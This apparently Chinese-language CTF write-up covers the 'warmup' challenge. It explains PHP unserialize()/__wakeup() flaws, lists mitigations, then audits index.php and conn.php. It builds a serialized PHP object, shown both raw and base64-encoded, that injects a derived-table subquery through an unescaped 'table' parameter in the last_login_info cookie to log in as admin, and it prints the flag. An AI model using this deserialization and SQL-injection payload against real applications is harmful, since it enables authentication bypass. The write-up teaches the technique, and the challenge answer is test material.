前言
1.php反序列化
在执行反序列化函数unserialize()时,会自动执行魔法函数__wakeup()。
PHP反序列化漏洞是一种安全漏洞,攻击者可以利用此漏洞实现远程代码执行。
在PHP中,序列化是将对象转换为一系列字节,以便在网络上或在文件中进行传输。反序列化是将字节转换回对象。攻击者可以构造恶意序列化数据,当代码在反序列化时,恶意代码会被执行。
解决PHP反序列化漏洞的建议:
1.过滤输入:在将用户输入以任何形式提供给反序列化函数之前进行过滤和验证。例如,限制反序列化的类,或使用白名单过滤用户提供的对象。
2.更新PHP:PHP的最新版本包含了反序列化漏洞修复,因此,建议使用最新版本的PHP。
3.安全配置:限制反序列化函数的使用范围,通过PHP的安全配置来禁用危险函数的使用。
4.安全编码:遵循良好的编码实践和安全性准则,如避免在反序列化中使用可执行的代码、限制反序列化函数的使用,等等。
2.sql
select 值1 字段1,值2,字段2
可以生成表
字段1 | 字段2 |
---|---|
值1 | 值2 |
一、题目名称-warmup
1.题目
2.答题
打开题目
1、审计index.php文件
发现Cookie中有一串base64编码,进行解密
发现是json序列化的字符串,构造序列化的字符串
2、审计conn.php文件
实际上最关键点在这个waf上
可以看到用户名密码进行了转义过滤
3、整理信息
所得到已知信息
1.在Cookie中存在序列化字符串,用来记录访问者IP
2.前端传入username,password时,首先会被转义再进行过滤,只能使用 ’ 符号
3.在conn.php文件中存在一个SQL方法,其中waf过滤函数将table,username,password参数都进行了过滤,但是table参数没有进行addslashes()函数转义处理
4、进行payload
O:3:"SQL":4:{
s:5:"table";s:41:"(select 'admin' username,'123' password)a";s:8:"username";s:5:"admin";s:8:"password";s:3:"123";s:4:"conn";N;}}
然后对它进行base64编码为
TzozOiJTUUwiOjQ6e3M6NToidGFibGUiO3M6NDE6IihzZWxlY3QgJ2FkbWluJyB1c2VybmFtZSwnMTIzJyBwYXNzd29yZClhIjtzOjg6InVzZXJuYW1lIjtzOjU6ImFkbWluIjtzOjg6InBhc3N3b3JkIjtzOjM6IjEyMyI7czo0OiJjb25uIjtOO319
将其写入last_login_info
得到flag:cyberpeace{2b9cc808f259b7c07f29af259fd22bec}